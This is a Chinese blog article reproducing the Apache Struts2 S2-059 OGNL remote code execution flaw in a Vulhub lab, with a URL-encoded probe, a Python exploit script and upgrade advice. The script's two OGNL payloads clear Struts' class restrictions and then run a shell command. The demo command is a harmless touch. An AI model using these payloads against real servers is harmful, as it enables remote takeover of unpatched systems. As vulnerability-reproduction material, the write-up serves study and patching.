温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Apache Struts2 059远程代码执行漏洞复现实例分析

发布时间:2022-01-14 22:39:54 来源:亿速云 阅读:204 作者:柒染 栏目:安全技术

Apache Struts2 059远程代码执行漏洞复现实例分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

0x00漏洞简述

2020年08月13日,Apache官方发布了Struts2远程代码执行漏洞的风险通告,该漏洞编号为CVE-2019-0230,漏洞等级:高危,漏洞评分:8.5

漏洞产生的主要原因是因为Apache Struts框架在强制执行时,会对分配给某些标签属性(如id)的属性值执行二次ognl解析。攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。

0x01影响版本

Apache Struts2:2.0.0-2.5.20

0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

Apache Struts2 059远程代码执行漏洞复现实例分析

2、POC验证,传入ognl表达式的poc:%{yun*zui} 这里需要URL编码

Apache Struts2 059远程代码执行漏洞复现实例分析

http://192.168.60.131:8080/?id=%25%7Byun*zui%7D

从测试结果可以看到id属性返回了yun*zui的结果

Apache Struts2 059远程代码执行漏洞复现实例分析

Apache Struts2 059远程代码执行漏洞复现实例分析

3、简单python脚本进行漏洞利用

import requests

url = "http://192.168.60.131:8080"

data1 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"

}

data2 = {

"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/yunzui'))}"

}

res1 = requests.post(url, data=data1)

# print(res1.text)

res2 = requests.post(url, data=data2)

# print(res2.text)

运行完脚本之后,将远程执行touch /tmp/yunzui命令

Apache Struts2 059远程代码执行漏洞复现实例分析

4、命令执行结果进入docker查看,成功执行。

docker-compose exec struts2 bash

ls -al /tmp

Apache Struts2 059远程代码执行漏洞复现实例分析

0x03修复建议

升级到Struts 2.5.22或更高版本

或者开启ONGL表达式注入保护措施

关于Apache Struts2 059远程代码执行漏洞复现实例分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI